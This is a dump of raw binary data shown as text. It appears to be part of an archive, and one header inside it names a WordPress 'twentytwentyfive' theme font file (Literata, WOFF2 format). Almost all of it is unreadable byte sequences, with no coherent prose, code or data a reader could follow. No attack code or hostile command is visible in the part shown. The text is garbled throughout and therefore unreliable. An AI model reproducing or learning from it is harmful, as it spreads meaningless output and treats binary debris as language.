R0N;\*_H⽆UNa?%zX pL#HZ!S+8U% hGG:WpD#:pZ2$2X<@q(G9WPI!f/hM/,{L^X=7`CH~՝˧vVm4__jQQVkxLX} j>ݝ ()Ch MՔ|) |F`uɭnЮ;QcI"lYkRZU?qbueQšE Q ˱nts4 O М<L)Ť0QLB];v-jF$ 7'A)ԳV;Yg;yEIB_d(5e3wΗ>I4A`IZ]V ڸ~X|ӪYd Ww7Y^.󅺷 $ȳJ _e@ uXXzj%Y)fSJSݠ:Ĭ5:HՏkW͇Joۙm4Z)TD*7[rٺyp@cج紬f/{1)͇ѷEWݓكKu$De/ WϢc-d!裂dZ.V2|bUX0,-Ziu4blcs:i'$H/lZ@oA\甒>ǷG&Ʀ!u`ܵnӪ3ཹE03RڹI5˨[ßՆ2P$zxIE xR|Zd'j8Jm "`HVZICx &jDm`@p82ZP~^a5f3RP03+P:^O1lW 1jioofUwlm ZW57 ;#] Ql*\_p7 >;]Q@QZ,xˆFƂcP\Sc bj |}kA`;48hZǀoy :1L;[394HE*hBbK-}(1)h6xEkV"IB;$ڙl?DZ/v\輸:@;*rq!{Fč\u'6zM>n}`yu&.Ϫx4[_&WxNUާHdR؃~F r$3)6jɷ"u6Q0.)@l0zqr2U´G<'ld R:DF%OJ1Dc1Ȳ\ɥ7j;Wÿ+:B /yWJ4CaZ`:j)>dG2.~DxbųH߹չĪAN+MffzfiG6bK*Gz1 ghN,h@LI$V+ W0w"HU#:t ]x>!^m$t!D3>)oZ RmAU|Òt;V@-L*et=^ҨȸM v KdӾO;fE* CClRIe&ˏV«=3A#r؁!AGD>x>Ndy W>. kkaR/п-8}C bU}YqcwGT W2IQ 0hҔJnWkIr?wU?k! 9aeh)OLj8Efweuw㲑)S(=Q|F'kQ`zT'_ffHEuT_Eak?ĞisdVUAl"Ǎ!'tνaWm,re{o1qf@]wW;NrB 6a85ZIeiUS^I~$S:ɸ(pes'd9I(zʺ,@܁ z }UFUO⽆'7ѫt0Dpp^=sQN d#N9i+l+zSBY>Uv9V247ȤU:(u=(NƤkҫ#*=I"ar J߃%oUDŽe|YdxSgj^$#%kDě\I"G HNC'O +Uy_LúM+S4?eBuY[-b^kѤ7h@676d!|, Tї8sPl"<ʺc!#FGHsVXn Xe:l~*/t,Bbĵ{M ((!6}JXe tڷe3a^H|HegY6^ [nO xZ~=N^2388ޖk3ϲg Y7b 5 H/*jY!`eͭ45JN⦩Bq~qZ:p0 Rx~6`.$אD[}F##XMeq#R\B d*:笥֙pnBo5kD8,MGN cݵ2,3oe4kf3Mv6rcgdqIإ#0Rct?_0xկ/"Yr!)SXE0u~إ4/̀gN%Ge^9kvlF6 WHCݷqD(DZZdxԈXKW oeΘ/,Mng- O^x_!Oܬ jBxXH7;K ߐn9SmЄOGͤ#k$LTU^L^uzیAsSՔO7犂Z*gt:z\?v~?}?>GewCѐڇ$DDQ{,(z|F?\hq P+(ԉ?) ;=5;G0&]{]-0g`L `!ëNǭ,Έ=R~cߣY c;-, b>86E׺V aWoy‡X82ۏՔ_ r=1`ʰDsٲ6 >ckrI\p/s$F )v0 w?YJ.~L\/yce,]QբpolE48v@5,SS ]v|^6o%'8B*m`*M6viX8e>sȐħ &^:r/mtؐ jIDž'ZG7*fGH(H ,rqD-3-=q1q$FC͘taF?jU\wŀM&"rOZ 7M?` ƯJa>z@zNRC:ȷl7t/nW'Qc ̶٬h:Lxp`͗S'iy 2/y ˱H|D[DsHnd @2w.AJN760 Һxx[}7}z^b[{ߜ)QӷlW떣pG~D/`nwcĤoi('00ӝU7YGʼntl5 HM]@LdO[pb>;~uM߰z3޶*vMG] Q@,p _1j[%G =gU**6`M3"!c:'TGI@g#\uGu#8,)*.Q3e.Jm-%%KY+< |@`gF 6&m4Ӭds7D|$cJ B{B@ j|K+iP@5ua]~c<$. b;UXAHy#s3p=*d'Do%3rBxP$^ޛ@+yMy / B;0`&ard~yjJb;Zc)TC7*+ǟ"dOWA}{MDM,ên68[sG NJ#Ҩż`RcM7lq/;n)쩙;& 0Jp_ȡkʫytZvxq'&M_v%~yV0#հ:kWڿm+A/< d:dI@RMޮ+o!!$[eTfׇځ켸z?Ojil~'u&&o1@62#J:nwI_<8 RQ| Ă`cu6h|̕$ }SZuTk xaْDž}!#J0˘^<|8< Y0,iWB/@NHR޺x#kg]Mrq٨Q*.O, u.`5œW20_6kEP;M|Z8TTc]uv$1>eL˂ m>5hhs:''dV f),̹눎c`#hUݚ '?$qpq(zNWWkE(+bS+wx&Rݫ{1epo'WV%1zⵚVL諌O  R L$9Nr(Qw{@|i5%EkZ ffsra8OԝbB9̔8*Yðl|rmIͷ JȻ.se-ɔ7s#ӵPD_acC˴>H8bwX~{B"yi?X?jKXPz4=%@-/X]=Cć*;q"d50`x4iwݟ~ 1$ 8$]0om+]tD+PqDD5155v>! _0_XI3DB?*zLǒe)ֱYa"'܌RME9oCo`,e4e#>RE&\dPi;Їq)<4KdFלC;_u<9؝*Ɋ>sG 2𒼯yf*JGNV/=fǟG#wo?ޣ*Ͻ[Ͽ_{FN`?YJڹ`7Y6vri|w*ՒHx<:/+Knbрv9I(0'~O4|ߨ2$g.ܜPP2Qrˁń"U@Bs}aם]گaD)s.w -y&G%pJp=̵_ #3*d^_q;_LWiZΖX˒Tz<~a߀ :Tӌ@X_7oE۝HH!!jkL׽OE`lIN/Gl&|7=5շ}Q j obVa*\6}nMѰgX>=bb]w3>tM !ħ;㈺Zo#sks7z 4l7]넵g<O Ż$(bwa[ˉly[􀉬yk~.?KKG3?MbFVnQp c.zƋ+>LF+!V.9}Hc 41ܑ:bg"?rT5i; OFinIa`;IY]vҏ#qwZHǺa2zBPLK*A-_=؀rLex]͞čv+~%(2j"ibm>lCͭPJPe3BAtxʰ{n's?X 'f1< Z\ػ@ [ RٱZyMtY}^]si taoe8[  R* _V1a%g%obutᘸNt{k &onNj`KMXYDk*F%08pV/tLr)sDKP"j͎($޿+Ν}y0kʱ^AS.ҳ@%L@rgv: CVJQr5$0 fհ3-hhyuhљ F1lC2`W3CP(# '2dwQ{v zfy!|koLM=۸-sh}1̋t]0e]$[4 3\¬:Ry"m'Yw(z&%*}Uf[W ;quZe\^>xM0k:KӉm $Bns'*-/+V<9fzHZq73SCQsCYF~9jg GZyh;oZ8cvhH?2,Z@ ۋ/xTYѷ,0vGe$&;]oJgrxeUWB UY?a-p9`K\/*ߌ9J <=^@2|gPzbσcJ\@M qSƚ&-I}{It$? G02"M|V&Pb@=͔d"RC?xDm`a%>xY ]]Zyty 6et7eI&h.J!|w:w}ֽycݝp$(>KR^ k 򜭁*]TkqZt32$hkc)i P>cO]?!bÅ\wŷ#n.}Yo›wM6hJ] "yHZB}XV.;zEKdlaщ?Y#Pm+l}j+oU?WnɜQPHZSe# `@ksHHƅ仈)) X%2Ne;xUrcUk" jWX W>_Ez &kT@]YO`8jZhtDw /= 0?7qKf5kP^d[f4WE:5֪OPh{p_Jf"DLRu,\'8hY|!q}Cڍx7g'3lJDAZg:y@B?ӂC1^E).dFHPV!*d斅K%<ݧs܂K\sbB]yd>OI4 u<..ȵTErtκAK=TqlhRtȍu?0%2R;jA/j瘪z2ղ`m`q{sK{d(w xg x~E e]Xc!ANE6X$qQi79 ^)ƣOAqy4B<WJK:|4g!Xdhϧna2=xӗ qϜB.BT rI#%9R4>I8&œ鰭bdgm<&ZIF~nźR[leDHApma):aԮC5xOV[M .ގMvDZ{a~pFэH2Jhni̒)N`hA,HL8 I4A(ofo]R -+3KLis;n,yωٟ>M\SmJJivfajZ^3x8T ZT=>v+tE&60\]%v#5lR(ohY#){$諚I;ݜzp!S_" , Lbī1D¸etpWpDz6I0Fw,`}p^4P SѷĤUsq?"73 T,)ӌY۾ \K(Ka.ĩy%79SL V7X}>V[#ߪ4EHAuˣpPZb…Sa3_slH EZESJ˼&uh$_wťd86Bnk{vY3;Z1$hIx۟ŕ߈{345֖DV}@)< z0b{iRHq儍c$\UNcQ\ڡ=(A1F* WqMen}5.5ګ4_3Ѻ2,uY!b@~Y(47!4=]{43o9K~_8[סG߭>ʟFZTu5kH1#UZSnԃ< A4VT9SIi*a/ 2A:υY*℺yRYT]$C0 U8[ɓ IU+`>'KBAP{-#g%b1cqDcPChȂ%;W)r1i#Dkz iO|?a s"l,Q.kG.;U:)W J cxU%cDbXK[)<+R,R#dVUWHVF0+kۥEIF=cIPE T@hǮULa9RH5Y.pNP*t1/ 2"uTN$к1Y'2@>l&Ĝ4C֟h0NA WfTn{Yxp?TNӘ )0kA ɘ푱% ĝi6c?,bXC$×1}Vyآ!2( FmZC9[qwB$c'B.Z[祈Iyn'd(UUdVoX"Hr© ]gXjحR$Q\a cA :mYE汅,SLY,2KC e6?Q!T|<59iCt)PE j˾ۭR[+C f*wQKkRP[X&nX|$ms=-򳨙nW^"r/u`G9:OS0]^ZpUʪP .]vS:GBOZGuj_ mߩڜ22D*Aj@P=S*3V xAܚ[3rSwdf2R;}>)⹃=*De/_e̫j+_CX>GH]i^*e\ Vdb6勋SwNoϦ:ZCVXɕO= \UlUR9 hr\obϭ=dl:ṷcl2YsU_^{7cA^".L2%b'y\rf`}P$d2TTxjhH5UgR$3Y\$ud`,i:~N m,1 [6yYVim\^Zb?NTʥQ.:ȥ@Z.r`qaRHJ޵)Tu6ft&\K/O]J%9(4ȼT֠*G[w׻9Gu: e=޷5p'n]^J+猊n-x!Z-gA>{Agzr. ~o]$oI+! e92[OGF15S@V\URH"-;jP|5a7W Jpg^q^S~7kY;AtvƱm{5Y({&Sbɚkr8$VsX4W.{1H|#<e>! 3.3h7,y%(OTڷϺ!{:,ڪ09X?YJ4?Ds(&=|U0]٬48:s6Yw>[V+QK5b-S3IvlizB e\%jF*apq(*$JTBC(wL茲QTRE.90 L6؉cԩDo+U!sr?wS MS g"ف֐-%)T~ĕQ21 "都 hP0:&5vGmG_2 [&Q0;ݕS)پjbg] ÒwyJ7kP0L^)k)6:~0߾; m\ ɫFl%v"n-Pe/N%]K.z"21/)˜؉C\wV2Dz}!O %!q7ZC}-ke7AJTrg/-Myr`b4y-҅9ά$M5ugT4Z>'Ś$:?oyUO¾*2I~>jEyjkHe G>!Ms|2j}Qy sf`\h @kvkzk.se}թKi 2 75NZ08(4F:?wVw?`GZ2 䙹5%kʽ討 m29eG{Bk⠔dEtôe\k)IL7~jS+|," Ǘ%b6eT&W( JhmɒH*ugȘ)c.w*_6Z8:xbu^'3jMC_vOmI|!xXc5~Pzΰ+G:q&ϯ]l?D== !+/VqU,u9(;F|?2O]vL!hNV%E/{W t`S{;B7LV+ HbEUt@z~XĚͅ^  Jl7܏nhs#nW++H;{6<\kJ8+\뻋as=߈C=1k=59ۆ3-xĉ\ >f{h-K2vОwCA>X\!%Pa_<<6V/h0>p=Xܗv8]D&}>]^]%cs^|ى9 4 ԾpQ>/={xq$ ٍX@ 3?kvݝ%iF@lśP$,'y:c b|MwíNm%wKUZ^),r) N` V?to߶jЦuz_ PV=NJsU텲ta:pYe["Q ዸ˞1ugs~^hi;9뿯˯1:_CZo:$E,fnC&ӿ_ǵ]Kx\> nQ]].>A*ęʱ߸ n ^ZCl`Kpu8g?Kq!1 !Ny+n1Wډv\>5+Jx` z&H@63^^;8kUAI{bRKD6%$TbJ.t[QP/w_Ai))RѧOk^^ .Rsabelq3T8A7d .`b($ hu+G@{$ґy٫B; ձShXb5<la-*LqDDq24GxzbPy. @?&`QޛcL4uݚ&BPGy8GꓓB='ui ) IB1H 8y ܓ&嶗h{C,hwsM1퓻2[{Rfjt*v_'LU{+[5ϲN>د!>'{NISYH~!:3)Fs}$\"#i2gP_Ok8ۇMTw 61vĻBδ 7%f)/Ep{QJiɺy_ V2HL|`((w|rZRACM<8͙"ػ|QJ#ѾSx]Ďv|2gIae3C `1hVqQ~3/֦U;H6BC E` dZF'.fGJŤi.R2{xM5)4Y(]e#sN2jХsQ;HPGxT_j4KLA| YIYP\+WveYm(nɂ&\y ^ũ-6%}vGZ2zk1y~\s~N+oЮg"_p*پϝCuV(n nWu텽2xvߏb6b P>`hRZj+-B9sʭÙ-TՃ*ѣ-@cH\ a\`I -\yQ}D&GeNRRZg۹CڝPk"̑QfrE#uRZPaO [B!V˝EN(/Y/J,t%P'WVզUA!( ZLF ֎](cBB%PJ)RBN 1B 1"q ez)ur2DLP嫔^)s Ĕ e,Ĕ e,Ĕ e,Ĕ e,Ĕ e,ĦB 0$+6 6D&PPTQ,SRFɒQ[;~Vm¡$Pnk쿭zް遳]Oykݞ3Lsu[ 8N*N08Ro:'c/~n,l܁+D70M>Ѯ]ݺ =$c[< NmŒ$'}welU& " LZD`HW! 9CZ\C FN4:ƟDP[c\Zy0f#)J)!a/!f1ւ w/,2g8yニxQQW:Li-+ 8+ӊc5lacR^KZB2ۍk^y9]/ f^G ֪C>೚` ԆadXIMOͭ@,@%䈂crY0# :9ͥQPI!.i1ֆcVzZȄN\gy2|F?0+yBNF"Z)[/5,l\"u N}$;GFoG̟39`49`lpLudsxU9ft~V6w%GQAeض1%J0T<.6DVև%M Clpfm&: #e;%ZJ>%aNwcL7G,#H,ZL 䈂9y "LLKIq8GB&p,Ŵ X&I Q!Z 0r1#I AIBNb<&\ߌ I ]n= n@B `) *4 K)v i섿TH6uCbBB8m橳[+4h=P~!:UoTe@E9yՄ*f嶷ol<DéM}^:\~ލȡg~ڨF+,G3C_ha޵| >ux(c>Q)iBj; $]>zso b[8 -Yqw<@G jfj&,O͛h1=\wvt93*ʖ}Eow}k 9OcHOZЯQZ.ǼYw! qGH*2xg'k4$20ʄT:[yݧ;"ڽ=ʅq}z%X鯿dox|`WRP(X"h\br[2EI7d%7%!5ޥ%Mwm4VQ8!zȥ+uf|v-.wQ> -x*-tE%mN# 8D," F^i >6˨, kS(9(>gvZ N 0*CgVȬ I3gIfY^Z?ls'JL""ל۸Wo9+sKY9W*v{"Y08fJy0 0N?EaXá,c'K8FY(>6}_>1* `KWF(@*߹F92&=~D-dHVKcTtHcmA]^}A v%LgѺy;Ԝ ^2vיOڝdK;ݮ>~ @1 d dKrJ7EkE98~6:¡ (DYP)s.I Ԡa*ԡobD;ܻHff햑fԃ.x]qH .ݔ(꿟 /d-zcs- /eߢOݘFWk;4 ? !?|~F`ҵ7Ca`/vWgh1R4_xCyHO(i o1bwCd\ۀ7ɍof<-ԉѐzԨpOm themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2000064400000267574152335264760022640 0ustar00wOF2o|o^n`PX  p6$t x F o$r[HRdš}Z3 CQԨ!(ө@Z"@:#z5J?t`s8mϤ?n%=FD"S .hv:*(iBd*t^D?b~ Ʀ(ΏyzPgPtznh2TsNf瓗'i*)f K{qnqXUwQjޑ7+˲pApY;ǐ(Q3JYVѮx: 0C(Fb%˺c&kbl5X1., V}+ÃTR'xW3bʗ/rI=MTU*{p \]De~nޢlT.#VRB1+lS1ϼS/{+ZaOQY>xj1kZj;dFˣ$}?=9@7?af{yl fƾIPXselu{{*$T D˅`*XV'c'%uT\U H^*Ht^&x j +(~P% JЂ{s_K'u9@LML4F`FTd.Z_F# X_ I SNΈar%WHq&iRs>^钖VSS^({ |Q'{|kQ>ERQ*M2![Q@CsB*,l$P-%$@bG}Y3~(0nnxzg-~Jn㠴fHV!a{LDjM ?AL_{܊)`̴=۾ 9(S4@|)g_,$oe(_iZE]gd PqrlBִٜ-ZE`0Q5>Nd(v,b,CtLk;oaTD:=)d4+. XXUnj$B(u%9%KӍmRJtP0ȦY*!Xb"@ x\_t4r;H7m3jN1vR_Ja_Aw4foC e_s鍐(}dۄBh+^VϬ)Kr\RaȲFԩ[GZW@ Ov,Y2^@%\bQ?x(VT^N&Iʹ!4ڦ}M9۶S4XT@ |eRn m%Z]%VˑJ_2dpY' xJi\} |7@>^j\FM [65f|(Ɓ! (0@+P*7&$"3[QJ?L&{C+B(x!LL?0D,dlKC9nL)U t% AXV(g|6ʤTwXa T;ϴ4( gӇE a\ 5X4͡LX#9d4>T*It'3̒GQ:ܴzs̆tIA~ZU]ՒFY 2dWiffLM94gTrRJ?I$(w(W[ L""A"Aɖ@hԔDH$Ptۤ(wp${B r^gsjVb6ۙnfiL=Kb(N'C-bjJ X:k%7A 6 0' K Wt ΄hʨ B:} NΠO< pK 2J%5JxknKPH! a 0VyF hlY^*a_QMi&t'X (X.E{לVӧ-L~oaB gmS(~Qlmapdx6UWԤ\&E0!$"IBvZ3- `َ&a6s'_?0#NԾ8RYmzB.aގ1$C*Pf *:bT@ &>n}DƑ@=&<'tͥy4M gBh F-BZ )d!{hA:Qi^tC0ur 㹇ކ9ޅ%&ia̰MV6= SY8.>nߘ[ O )ًrty$R< [[.>Zh풣K.3ڹh"Zs/ezv' Uk`1h`4LсJ MCyuR=BN ѻQX 6f]m6y*G}@M׆ +ڌA1 ,;OKH,^_,f g PynEc1S :e=[P m>m҃G'xmmFa39w `PC BnxGqx@m0(-8bb7=(cVk,X[Xy;:>)y?"JZY{Wmc.J*Nn"%&flIpW[}^A)PZG 8 6쑅m /8W+&KvbZY)DB5EuNBLLf ٮ<ԦYYTia.[]ǃK1$jU``b€a>R*@ UdK<#K HGI*Ex$ى4a52B bjaG \Z8AQ(;8@'0MF=i.Hb:f`J\zm #g(PesZFìhc&1Qk. T ͕[ai0#I/ݸy 05 Ao:Γb(s_M -ݏ @kVi"83ÿRf0Q,ލXr<FMy%*_jSקՋ68i=nni.hs-2|MyFPd1ŌbTUb9z?^:ԟMWdatK:\*O&I@q'Tfgƒ[@_d)57u=tB1?eEq勦+r4%ii T f7fA&h^O\i'\#Q8U4- #9h8ۛ`-iT־@byR (&'4v9 tM&^ʿ~2cXJuGV@>M[^f^gv|tгCؽ8T`jWAIsB0x^so>!Ec.}W}{bG73v(.uVW3fF g9kyEPS =TST.~NJ(."{d(5!di0蛃J<0 9}-,Q+(ʨhEX'<\zqIRV4 Rt5",L8Voh YUK ʵ=z_d0C jbΑ"ypὐa}2*M~>Κ?lt|L:H8L`W CTK-jq4꒶}DbQ#+v} \߽u[3TZg?]yLjmyjsӺ)#W4*ߦ7 Oc׉/&;Í2<)4w@aMOO84~`&Ӻs7)RK-gDb/J;*7g<5xB(F+{cz=$0RydrVrS0p!6tg3n,)T[V! >c`4 ~Q:qHcH9}esKsl\A׋,[p`]bë >&D^5&?VoYː331VPirPڧ7H|, 3AT?Cu8,Eiךؐ6pJaFΏr866*8Lx`'ɐ# 6@l2B>HVvM훫I~LHrEh 4d'}wZ,3 \Uۑq}3;z- H^+=C߿Tos^wv#3Q?֭S o'jSS oGQo}^wN6DZ͊bĚc:uGmk^3yA3X`_Ws 49ˮ$G[%y jxsd>O(-cۅqg|[}b$ oT:Q? ?4v#t. 溏Ng : &aϩ0nkH[#! Z*F+R.KsbϻvY"";_gO xWن{Gٟ vd~(,xJLpEhn3?C)0ծ4do6.9{vcln+φ M f> ZRґ-yrQaҁl% )-[W6:XÇhغ OǦdZ0/8S7OǺwբx"/Peo=ޘrǾ UwlzզY mJ1h\Q[F.F]|>rso8Vpu,J5t\_%e*lيr(V;:B 6/1B)/8MX`̑NX]lL]ڰ?kW ?(`~hZ*q󸋻Ƈ'{Moz}-m='؆[{+,2, E^#g?p{,NlqI˩W(ɇGv}e[WO rŻNN5_/L6/H3&E넇H=xfPC4i^n"0 =WL[/3CRS^Y=$TSg3 ɤlՒp+ml,kط[meSy 6䘝';ƆOH}]q /(RLfi~ԅyc4;.ȵti#6o=nnXK%X}wۿn˄9ם{|)m-SK$qbnxw@djkpҧ(\Xj3O]XO}GJ]/~|q҈9 ~53JtLM7.'kO1K,:} _>e便8or%<~G\V0 ";ҖrjT',mM+=jOCF97լ9xZ>:=ً^%,ђue:[*h.h׉p'J$KIQ@ t|@F!YenU{ӹZw!rlSjH۵}0?};ݙ@`āNqL<V S3iч<9r1|> +P`J@ ae Nk֮ _2zxm)DJ ))mAikhA2eʖ K `)TKdkL:j);ܞ!:RTG+nUOv]wzvG?A{!ciݩ\2#mYp8ІaCi@1IccF1F1=' 4 `9,bO sl>͹9OL'yrBy<8b^}Nq/v@B(`d&G'RBN Ak 4ر-)99 -%GO)<:l#GY|u4gΚy~ \*)aQh:.LЍN]XzM]!o|uA H*)Ar"M}!Yj᜶~rq扙uqaM:t rW4v m+wC_˕~Uʫ B5US8R{r9ukWy,YLڊT!Uh7I{ ]M:^dIj7j,h*l#nM\v.HwGRtjOiKiGj=Ȳ-4c|\߭WYg ĂV(N4" @ A7% JuA&=rءǁ2GN8s&ą e<E7|Ǐ2D !CYdp뤓h8HPTO>;zm8kU[LOZFVQB+֞ \PE%G#c{蘪 I3pH[-YK& rdQ'eU/K~ \88p-})'[)T){t$񆠇*XR])aA%~ ɖ37yIЉ\#E9)*XOgjy)55*:'wwzKS_ X4/Y6 #7jZKi6 |ĥ`ORϿ6zRf3n_F9(GdY q$-AQuı3\t#ҶsW:d͹ckb f/VsǎJہd.Q&Y^@i*-Ĭ> omh}G XxnTnW_}*B߀)K&-l8haTRW&ԧGbrO煏9k$d jEttLdKe6Պi4 ED }y@(C.ʰL!Tv s/dXTg2 UZ*"Efg&A;cVXa492맑a6G̘;p@E'b L$nNMgIE8qy n"((]dłisss1ZQ&>x $>UO ɽ8aɷұ,U?jOTir;~ZxZ*f=N^%TOb g\ 2UvI!F ƹYiq?۔ y1|hރsg0z@qq:$)s<k/F u r2FcWHԩi@+=f:|VԐA9Bтӝxf3 EGs{!3Yh[JI?QSu=#E\4]EG{|osr.r A"w˥f˴Feg@řťh4/j !Zb]*ZPʃv=x,j8SumMo8:?(o]O*"jm hR,6[Qһrܜ{L.ȈKY?ޓL~޷lTwtok3dUGʢ`Rم[_5)Պnp +j^w%ˮ&B!q70I1RVj&&Gta$mZZUnUiAѦ̇LtDnGK 6uEbίARcu!*qj u;I0Pp ~&ӳ0m9*/;p!= B 첪;^ 6G1TR> j$̬ #.gN{axV4&M`T-U=Y\T~&p^+LA%G$.t¡2cd(|-{g_Qfm=;g \񷻜G&֣y3|8HWd1Z8?#0Z3ʉ˵;P׮I4.{tG$XT5}DF bd5A9М.}|.#G>10UX} :Ib\ͿN lӉA7^Q]/s_u a\.p_Z|͐ϤNw5}nJcqBh0+(v=[ Ddxfh69%gZ3͛;Mn**{/w1hS7bFs&76P|j7PM6qt"h{NN-t ]5]ؑ}$ا*(r5p"3 G{*VH 7@_@q-cNY§8v˥{uz |uA89ś|4b t:}JQJC0ęu*!;(ʔ?<)rS1XAWE]Lxf dYlBDFc&֡W57(}ُS<Z=iOng԰aH ҕI܏ZDX,S.W/5BAiQ8y2RhFD_5^"A@oA'%5oP' <I-ܭN= Ua8nMkLGefQ!2*K\IM1UV3wmC^OS4.+ :cu}08SyPx>k4-}>1gZXE2+&|l)`ufi9oA"uetn^I3 ښu }M1OϏӭyE4:6(pX0.+iIM*WkZ4%c Ae1L#.x(prWaNFRbAf.aMXdҍJ+|V9>!m (ND<)Mjt8µ-e.+\hnSKjT%5K6rml,gL3ˑ?v ?Wv $8ҾM2̧ +#E}+ra'g%I܆ʄ,#ҰE']tCobe< )$?6bvHbJh,cERZhtЭa1ˑ+ FO Z`p iq{4Kxxfķ1Xc"=8jyWD[OE/tjC;USJ] Z)תU_ ]؆wӗ2 ;杖[vR/ e#Q8 8x\'+#PD.Q\!.o>3/ha@&mNe3~ɟ^V|ݐ_;7}0Xve(qDD>ESKկx}\;m/$I6.1m/jTy]V]z @O6bvw4nr,z=v|9X۱<;QL˦`lAyWfrdXN%lD^NXWXL ]\dK|Pt.՛ epFKOb2NFW^ QD!!!pc۵(A' ˼$0 Ψ2 ѿe&hMB {]#Ot<6 3.ywN BP;#S$= ȔJ`0#V!x" ?-ۿđ}X ;ԁ@P5? Rbm &@(¼]fWCΩكrx.p 7˷ #($E3, $&j;.7w`T*ULjp} 0g p"4Ih*wzŇ\x/ASQXl %Yk$ԩ؉d;u{u#O#fjV$˴U7X^ji?:-GR&%P.2 @\%A -O%DtAbJ^ dT9 ZNd@Բw((#($E3, $+ն aҁN]k:!k?l۱{}8ƃ#0nTڔ*@H+lpµ\*QH)=8#| n<&MfY[hӖm;vwБc'N@H DكGOKhpBJ JR:=ͰɱWqiJYWu$ۗ$H H/bs> Cغ EK/bңh 8JYINE 0Ezƙ`8H9O/jkllllE1`"ۆ-[d&ma=n[$a;߭1/bccFlmm]Nv[hTA_hX4$E3, $+e;W|UQUS[XZYgv~rĸ Gs '**^M9ϓ J3lEbT&W(UjVN FbNe H DBL BRk:}7iKpG $Q`p`qxDPitpy?0D**F6N#NA`G Qh 'Id Fg0Y2p` $E3, $+e;W|  "4rڟs8 `phxAddXmvE*N9vB; A5a/Z7`!ݻ<8d BRgSnLTe(+Yχdq K6V NXi7X<#dIT[ TMh$'=d|MꚚA mtE{i4d5+z!,Ċ􃌅`q'#5$LIALo:ADye&7D^,VפRV;Wl_Ro ,CV QU jI8ݾb:ЩK[RJ?Q?8Þ,9Uv_u~$2J3,6B0b8JZ Fbv,KyteEtڐ߼e7Z:P`!0B WRj5jթ Ҩ뺮뺮Wp՗WCJ= 6Ӱ@o?b*>JAksQ 1Ah4A: mKv~8ʉLui\WFyỳäCAuA.FCZ Ԑ"daÇԣJn*'h+֓9 !U9* 2y ӌC0x Bc8|i'30Qz6nfG UJ(em*jj];7}Ui%~ f~`d%|ChL^~s 5,<H.<e-ɮۖJ'=<}|Hd Fg0Yl`p彬JZ Fb 4YD ˊ\RUĠd$2ŘjB3,6|"뾯nkY)PitH, J h2[6r{;&LkRR&W(Uji5Mf7>|BRk:=B0b8AR4r Jh2[6kZbf~oq^IG{|aNۥDc9? 8lQC!B?$7@$Irpppxk?ˍ*M}Q?7IZ[r ?-HuJMky#j^z,I*n5@#M|WwZu0DI&DCJveR^gh|c?Lj(rTQGMF'CO 1LXRmIC,J-G"jY+(dޣЙ/?V`!0Q/A&Z|Ѫ-ySg=|o!F3n¤)/fmμ, IΖZ LS{Gey]J-)4EuGa2ߋLOvrk֡Mڧ8<,i˶Ş}9v!PD1X@$CJ3,6 "D*+x0ѓQc1)÷A(K`ł_L1EbT&W(UK6 *NͰ/nX=GS_)D |{YFMU[N3߁8&8u܅KW Ej4[j$G[֥A1X"mUSCJ YG JXVTM'.mZ&EմCl(,,>)SBeTըUg 5=L$I$I$Id'L7pU~Np aBIU QU Ӳ=6wy`ѕU1h&k2 礜s2Yƅvq9sΥRJ;<±rzɻK @.GvSA QU j۹Νj J3lE;C&2BRk:`pBo0pEk]=BaQ1( @= bsbij:qn*nRR'eU|TMר;ci9PA9ɚ SPivt{py|W5 EbTU-*N*`<{dH,QPKZ Fb4Y.IʣD%,+Wfo\xBRk:}B0b8AR4r Jh2[6rs7|KTbYK*T 5RG=8>Q8ӭ+?x~'rOZcX 8m.KmL )*WwYxCn4״FS]w`\*􊯄H)~8_9Ґ'aЩ0 qELn'SGMAДKL~`oYR~ϢVch⋭4riܚIҴ_;?@\X'G=@I=h kx ѬM88888X3YLuOJrZ?OÜ{ .+-7b8+)Q |Og,(cA Xʐ/Y u8# ˔//cEWɎolH0_T~7QfBHvߣ1ԕFavK4QEsϏFEqJjOeFXʸ#~w 4/i G,S>!#L j\ilnsT6S*鎲svA PD1X@$)Td9\e:~P WU82^7?M-c$Fc,ӛ|,b,?j[ӊaў^HL^o{PMffw8]nXTéWC=&| IH)(ih53ȑ@3JxNu4iѦC}82b̄)3^`Ɋ5s̅Wq5O^  &\w"%ZXq%H$)RI!Sl9r(_BE(Ir*UVVz8 5iVm}աSH DBLBX"JZ #NU>m]=}`qxDSMhtpy|P!PD1X@$)TEbTxAzp4U s-q7.AcnfjrysX7Q${;goUTYVq-~.k6PGۘ]ܚ_ kq[.j:Zk6!(Ul,QnJ Q!(LooJ[ -%+))ʩ95>=c _X}}k=v|Tr")Z#MÎ>[Xg27c.LNjpmUWS,y S3 2G=cMf'͚X*SJ8/QP(jfJMobMPXnf#HdLpTAɚ-dIEQșԭTI C"oRqҥ8wf~.ArLdx]K=" 7:OL[Y +:x1E+fgd6\Ef:㮩EIsEfQD}VKoD@W%j_γ*Nv3e_7Ƕgۋ2OY\DžMl:@H? F0kTYUuhP^5 (ΏTMqiJ7sٳ'U2ECj/7PF*LHu5l=W~*/{)"cѨKPhG/ _ hXuf }Y$ ':U:r9Qr;媣-ͥ. õekD V[D֭$nu,`Iݦms'qi'Z0L{VC2P6I <~k~ m$LJN.@|L_ǖW"{kOvMiibOSl3ttK*j onxzd2Ǖg&~% %b$HVBV2iiZjֺ>RiH1bV10$U^Ǎ<UQgcM;Vfx-6ˢ)^*]j}Qf$0owkT#5gl]ny$J`:z~ 鏕ѫ'g_?o.ȉYQ\f̩yyS;=w3ȵw >0?]/UT"]KQI[nfɚ^Sw.MЙ|n[Cufϙ'oJZ UK]Kʵ.`9a:;#?',L<+x&*X51GgEZ=jR?wZ Ue7cϪl2FNvZkxi1o9gMbD`8\X 7?ژE*e_]ֲA6 ɬ+FߗE lzL_mqΕ7V2kowk*4B*Gd5"⏄'<(zܭX&"DlTSNZgS ly~ 9^k^eYnuj#VV }T^JUTWpPUG_,u\1,vlzo6]ځ-(7T j%GD!nBF+1ye` *˂AY2ɘc]Tl2KQ'U*wQ-}5E)*OBvz^|Tp'1H%?\|+.9 @y[*>)RLr8T~PEפO٠>9gٱG~ BQYx _xD$dt L,l|"BbYqG-t0dʌ9 Vlزcω3^O|'TX& ,\Hg͒;_)HB!`7EɞR*R=FU:5l{F RMv 4f¼zx˳~> y nRA9 ˕STWruUR}Fcujғ_o##п9l(VS M5A-#7Z$$)Ԥjt&wt\VEXXD*pEPԒ,=MJ(Wm6{nvw/GG|mӖm;v'c0#f W[ujVim.h w[zò± }5H+ _4=G\IҭG>ש[_`i׹sY_V- 